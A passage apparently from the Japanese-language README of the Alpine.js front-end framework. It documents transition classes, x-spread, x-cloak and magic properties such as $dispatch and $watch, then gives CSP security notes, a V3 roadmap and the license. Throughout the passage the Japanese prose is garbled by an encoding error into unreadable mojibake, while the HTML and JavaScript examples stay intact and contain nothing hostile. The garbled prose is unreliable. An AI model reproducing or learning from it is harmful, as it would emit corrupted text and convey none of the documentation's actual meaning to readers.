エンターフェーズ全体ã«é©ç”¨ã•ã‚Œã¾ã™ã€‚ | | `:enter-start` | è¦ç´ ãŒæŒ¿å…¥ã•ã‚Œã‚‹å‰ã«è¿½åŠ ã•ã‚Œã€è¦ç´ ãŒæŒ¿å…¥ã®1フレーム後ã«å‰Šé™¤ã•ã‚Œã¾ã™ã€‚ | | `:enter-end` | è¦ç´ ãŒæŒ¿å…¥å¾Œï¼ˆ`enter-start` ãŒå‰Šé™¤ã•ã‚Œã‚‹ã¨åŒæ™‚)ã®1フレームã«è¿½åŠ ã•ã‚Œã€ãƒˆãƒ©ãƒ³ã‚¸ã‚·ãƒ§ãƒ³/アニメーションãŒçµ‚了ã™ã‚‹ã¨å‰Šé™¤ã•ã‚Œã¾ã™ã€‚ | `:leave` | リーブフェーズ全体ã«é©ç”¨ã•ã‚Œã¾ã™ã€‚ | | `:leave-start` | リーブé·ç§»ãŒãƒˆãƒªã‚¬ã•ã‚Œã‚‹ã¨ã™ãã«è¿½åŠ ã•ã‚Œã€1フレーム後ã«å‰Šé™¤ã•ã‚Œã¾ã™ã€‚ | | `:leave-end` | リーブé·ç§»ãŒãƒˆãƒªã‚¬ã•ã‚ŒãŸå¾Œï¼ˆåŒæ™‚ã« `leave-start` ãŒå‰Šé™¤ã•ã‚Œã‚‹ï¼‰ã®1フレームã«è¿½åŠ ã•ã‚Œã€ãƒˆãƒ©ãƒ³ã‚¸ã‚·ãƒ§ãƒ³/アニメーションãŒçµ‚了ã™ã‚‹ã¨å‰Šé™¤ã•ã‚Œã¾ã™ã€‚ --- ### `x-spread` **Example:** ```html <div x-data="dropdown()"> <button x-spread="trigger">Open Dropdown</button> <span x-spread="dialogue">Dropdown Contents</span> </div> <script> function dropdown() { return { open: false, trigger: { ['@click']() { this.open = true }, }, dialogue: { ['x-show']() { return this.open }, ['@click.away']() { this.open = false }, } } } </script> ``` `x-spread` ã¯ã€Alpineã®ãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã‚’è¦ç´ ã‹ã‚‰å†åˆ©ç”¨å¯èƒ½ãªã‚ªãƒ–ジェクトã«æŠ½å‡ºã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ オブジェクトã®ã‚ーã¯ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–(ã‚‚ã¡ã‚ん修飾åã‚’å«ã‚€ã“ã¨ãŒã§ãã¾ã™)ã¨ã—ã¦ã€å€¤ã¯ã‚³ãƒ¼ãƒ«ãƒãƒƒã‚¯ã¨ã—ã¦è©•ä¾¡ã•ã‚Œã¾ã™ã€‚ > 注æ„: x-spreadã«ã¯ã„ãã¤ã‹ã®æ³¨æ„点ãŒã‚ã‚Šã¾ã™ã€‚ > - 展開ã•ã‚Œã‚‹ãƒ‡ã‚£ãƒ¬ã‚¯ãƒ†ã‚£ãƒ–ãŒ`x-for` ã®å ´åˆã€ã‚³ãƒ¼ãƒ«ãƒãƒƒã‚¯ã‹ã‚‰é€šå¸¸ã®å¼ã®æ–‡å—列を返ã™å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚例ãˆã° `['x-for']() { return 'item in items' }` ã®ã‚ˆã†ã«ã§ã™ã€‚ > - `x-data` 㨠`x-init` 㯠"spread" オブジェクトã®ä¸ã§ã¯ä½¿ãˆã¾ã›ã‚“。 --- ### `x-cloak` **例:** `<div x-data="{}" x-cloak></div>` Alpine ã®åˆæœŸåŒ–時ã«ã€è¦ç´ ã‹ã‚‰ `x-cloak` 属性ãŒå‰Šé™¤ã•ã‚Œã¾ã™ã€‚ã“ã‚Œã¯ã€äº‹å‰ã«åˆæœŸåŒ–ã•ã‚ŒãŸ DOM ã‚’éš ã™ã®ã«å½¹ç«‹ã¡ã¾ã™ã€‚ã“ã‚ŒãŒæ©Ÿèƒ½ã™ã‚‹ãŸã‚ã«ã¯ã€é€šå¸¸ã€æ¬¡ã®ã‚°ãƒãƒ¼ãƒãƒ«ã‚¹ã‚¿ã‚¤ãƒ«ã‚’è¿½åŠ ã—ã¾ã™ã€‚: ```html <style> [x-cloak] { display: none; } </style> ``` ### マジックプãƒãƒ‘ティ --- ### `$el` **例:** ```html <div x-data> <button @click="$el.innerHTML = 'foo'">"foo"ã«ç½®æ›ã—ã¾ã™</button> </div> ``` `$el` ã¯ã€ãƒ«ãƒ¼ãƒˆã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆã® DOM ノードをå–å¾—ã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã§ãるマジックプãƒãƒ‘ティã§ã™ã€‚ ### `$refs` **例:** ```html <span x-ref="foo"></span> <button x-on:click="$refs.foo.innerText = 'bar'"></button> ``` `$refs` ã¯ã€ã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆå†…㧠`x-ref` ã§ãƒžãƒ¼ã‚¯ã•ã‚ŒãŸ DOM è¦ç´ ã‚’å–å¾—ã™ã‚‹ãŸã‚ã«ä½¿ç”¨ã§ãるマジックプãƒãƒ‘ティã§ã™ã€‚ã“ã‚Œã¯ã€DOM è¦ç´ を手動ã§æ“作ã™ã‚‹å¿…è¦ãŒã‚ã‚‹å ´åˆã«ä¾¿åˆ©ã§ã™ã€‚ --- ### `$event` **例:** ```html <input x-on:input="alert($event.target.value)"> ``` `$event` ã¯ã€ãƒã‚¤ãƒ†ã‚£ãƒ–ブラウザã®ã€ŒEventã€ã‚ªãƒ–ジェクトをå–å¾—ã™ã‚‹ãŸã‚ã«ã‚¤ãƒ™ãƒ³ãƒˆãƒªã‚¹ãƒŠå†…ã§ä½¿ç”¨ã§ãるマジックプãƒãƒ‘ティã§ã™ã€‚ --- ### `$dispatch` **例:** ```html <div @custom-event="console.log($event.detail.foo)"> <button @click="$dispatch('custom-event', { foo: 'bar' })"> <!-- クリックã•ã‚Œã‚‹ã¨ã€ console.log ãŒã€Œbarã€ã‚’出力ã—ã¾ã™ --> </div> ``` `$dispatch` ã¯ã€`CustomEvent` を作æˆã—ã€å†…部㧠`.dispatchEvent()` を使用ã—ã¦ãƒ‡ã‚£ã‚¹ãƒ‘ッãƒã™ã‚‹ãŸã‚ã®ã‚·ãƒ§ãƒ¼ãƒˆã‚«ãƒƒãƒˆã§ã™ã€‚カスタムイベントを使用ã—ã¦ã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆé–“ãŠã‚ˆã³ã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆé–“ã§ãƒ‡ãƒ¼ã‚¿ã‚’渡ã™ã«ã¯ã€å¤šãã®é©åˆ‡ãªãƒ¦ãƒ¼ã‚¹ã‚±ãƒ¼ã‚¹ãŒã‚ã‚Šã¾ã™ã€‚基礎ã¨ãªã‚‹ãƒ–ラウザ㮠`CustomEvent` システムã®è©³ç´°ã«ã¤ã„ã¦ã¯ã€[ã“ã¡ã‚‰ã‚’ã”覧ãã ã•ã„。](https://developer.mozilla.org/en-US/docs/Web/Guide/Events/Creating_and_triggering_events) `$dispatch('some-event', { some: 'data' })` ã®2番目ã®ãƒ‘ラメータã¨ã—ã¦æ¸¡ã•ã‚Œã‚‹ãƒ‡ãƒ¼ã‚¿ã¯ã€æ–°ã—ã„イベントã®ã€Œdetailã€ãƒ—ãƒãƒ‘ティ: `$event.detail.some` ã§ã™ã€‚カスタムイベントデータを `.detail` プãƒãƒ‘ティã«ã‚¢ã‚¿ãƒƒãƒã™ã‚‹ã“ã¨ã¯ã€ãƒ–ラウザ㮠`CustomEvent` ã®æ¨™æº–çš„ãªæ–¹æ³•ã§ã™ã€‚詳細ã¯[ã“ã¡ã‚‰ã‚’ã”覧ãã ã•ã„。](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/detail) ã¾ãŸã€`$dispatch()` を使用ã—ã¦ã€`x-model` ãƒã‚¤ãƒ³ãƒ‡ã‚£ãƒ³ã‚°ã®ãƒ‡ãƒ¼ã‚¿æ›´æ–°ã‚’トリガã™ã‚‹ã“ã¨ã‚‚ã§ãã¾ã™ã€‚ 例ãˆã°: ```html <div x-data="{ foo: 'bar' }"> <span x-model="foo"> <button @click="$dispatch('input', 'baz')"> <!-- ボタンãŒã‚¯ãƒªãƒƒã‚¯ã•ã‚Œã‚‹ã¨ã€`x-model` ã¯æµ®ä¸Šã™ã‚‹ã€Œinputã€ã‚¤ãƒ™ãƒ³ãƒˆã‚’ã‚ャッãƒã—ã€foo を「bazã€ã«æ›´æ–°ã—ã¾ã™ã€‚ --> </span> </div> ``` --- ### `$nextTick` **例:** ```html <div x-data="{ fruit: 'apple' }"> <button x-on:click=" fruit = 'pear'; $nextTick(() => { console.log($event.target.innerText) }); " x-text="fruit" ></button> </div> ``` `$nextTick` ã¯ã€Alpine ãŒãƒªã‚¢ã‚¯ãƒ†ã‚£ãƒ–㪠DOM æ›´æ–°ã‚’è¡Œã£ãŸå¾Œã€æŒ‡å®šã•ã‚ŒãŸå¼ã®ã¿ã‚’実行ã§ãるマジックプãƒãƒ‘ティã§ã™ã€‚ã“ã‚Œã¯ã€ãƒ‡ãƒ¼ã‚¿æ›´æ–°ãŒåæ˜ ã•ã‚ŒãŸå¾Œã« DOM ステートã¨ã‚„ã‚Šå–ã‚Šã—ãŸã„å ´åˆã«ä¾¿åˆ©ã§ã™ã€‚ --- ### `$watch` **例:** ```html <div x-data="{ open: false }" x-init="$watch('open', value => console.log(value))"> <button @click="open = ! open">開閉を切り替ãˆã‚‹</button> </div> ``` マジックメソッド `$watch` を使用ã—ã¦ã‚³ãƒ³ãƒãƒ¼ãƒãƒ³ãƒˆã®ãƒ—ãƒãƒ‘ティを「監視ã€ã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚上ã®ä¾‹ã§ã¯ã€ãƒœã‚¿ãƒ³ãŒã‚¯ãƒªãƒƒã‚¯ã•ã‚Œã¦ `open` ãŒå¤‰æ›´ã•ã‚Œã‚‹ã¨ã‚³ãƒ¼ãƒ«ãƒãƒƒã‚¯ãŒå®Ÿè¡Œã•ã‚Œã€æ–°ã—ã„値㌠`console.log` ã«ã‚ˆã£ã¦å‡ºåŠ›ã•ã‚Œã¾ã™ã€‚ ## ã‚»ã‚ュリティ ã‚‚ã—も脆弱性を発見ã—ãŸå ´åˆ, [calebporzio@gmail.com]() å®›ã«ãƒ¡ãƒ¼ãƒ«ã‚’é€ã£ã¦ãã ã•ã„。 Alpineã§ã¯ `Function` オブジェクトを使用ã—ãŸã‚«ã‚¹ã‚¿ãƒ 実装ã«ä¾å˜ã—ã¦ã„ã¾ã™ã€‚ã“ã®é–¢æ•°ã¯ `eval()` より安全ã§ã™ãŒã€Google Chromeアプリã®ã‚ˆã†ãª [CSP](https://csp.withgoogle.com/docs/strict-csp.html) ãŒåˆ¶é™ã•ã‚Œã¦ã„る環境ã§ã¯ä½¿ç”¨ãŒç¦æ¢ã•ã‚Œã¦ã„ã¾ã™ã€‚ ã‚‚ã—も機密データを扱ã†ç’°å¢ƒã§Alpineを使用ã—ã¦ã„ã‚‹å ´åˆã‹ã¤ [CSP](https://csp.withgoogle.com/docs/strict-csp.html) ã‚’å¿…è¦ã¨ã™ã‚‹å ´åˆã¯ã€ãƒãƒªã‚·ãƒ¼ã« `unsafe-eval`ã‚’å«ã‚ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚å …ç‰¢ãªãƒãƒªã‚·ãƒ¼ã‚’è¨å®šã™ã‚‹ã“ã¨ã§ã€å€‹äººæƒ…å ±ã‚„è²¡å‹™æƒ…å ±ã‚’åˆ©ç”¨ã™ã‚‹éš›ã®ãƒ¦ãƒ¼ã‚¶ãƒ¼ä¿è·ã«å½¹ç«‹ã¡ã¾ã™ã€‚ ãƒãƒªã‚·ãƒ¼ã¯ãƒšãƒ¼ã‚¸å†…ã™ã¹ã¦ã®ã‚¹ã‚¯ãƒªãƒ—トã«é©ç”¨ã•ã‚Œã‚‹ã®ã§ã€Webサイトã«å«ã¾ã‚Œã‚‹ä»–ã®å¤–部ライブラリを信用ã§ãã‚‹ã‹ã©ã†ã‹æ…Žé‡ã«æ¤œè¨Žã—〠`eval()` 関数を使用ã—ãŸã‚Šã€DOMã‚’æ“作ã—ã¦æ‚ªæ„ã‚るコードをページã«æ³¨å…¥ã—ãŸã‚Šã™ã‚‹ã‚¯ãƒã‚¹ã‚µã‚¤ãƒˆã‚¹ã‚¯ãƒªãƒ—ティング脆弱性を防ãã“ã¨ãŒé‡è¦ã§ã™ã€‚ ## V3 ãƒãƒ¼ãƒ‰ãƒžãƒƒãƒ— * Vueã¨äº’æ›æ€§ã‚’æŒãŸã›ã‚‹ãŸã‚ã« `x-ref` ã‹ã‚‰ `ref` ã«å¤‰æ›´ã™ã‚‹ï¼Ÿ * `Alpine.directive()` ã‚’è¿½åŠ ã™ã‚‹ * `Alpine.component('foo', {...})` ( `__init()` マジックメソッドã¨ä¸€ç·’ã«) ã‚’è¿½åŠ ã™ã‚‹ * "loaded"ã‚„"transition-start"ã®ã‚ˆã†ãªã‚¤ãƒ™ãƒ³ãƒˆã‚’è¿½åŠ ã™ã‚‹ ([#299](https://github.com/alpinejs/alpine/pull/299)) ? * オブジェクトやé…列を `x-bind:class="{ 'foo': true }"` ã‹ã‚‰å‰Šé™¤ã™ã‚‹([#236](https://github.com/alpinejs/alpine/pull/236) ã§ã¯ `style` 属性をサãƒãƒ¼ãƒˆã—よã†ã¨ã—ã¦ã„ã‚‹) * `x-for` ã®æ€§èƒ½ã‚’改善ã™ã‚‹ ([#165](https://github.com/alpinejs/alpine/pull/165)) * 「深ã„監視ã€ã‚’V3ã§è¿½åŠ ã™ã‚‹ ([#294](https://github.com/alpinejs/alpine/pull/294)) * `$el` ã‚·ãƒ§ãƒ¼ãƒˆã‚«ãƒƒãƒˆã‚’è¿½åŠ ã™ã‚‹ * `@click.away` ã‹ã‚‰ `@click.outside` ã«å¤‰æ›´ã™ã‚‹ï¼Ÿ ## ライセンス Copyright © 2019-2021 Caleb Porzio and contributors MIT ライセンスã®ä¸‹ã§ãƒ©ã‚¤ã‚»ãƒ³ã‚¹ã•ã‚Œã¦ã„ã¾ã™ã€‚詳細ã«ã¤ã„ã¦ã¯ã€[LICENSE.md](LICENSE.md) ã‚’å‚ç…§ã—ã¦ãã ã•ã„。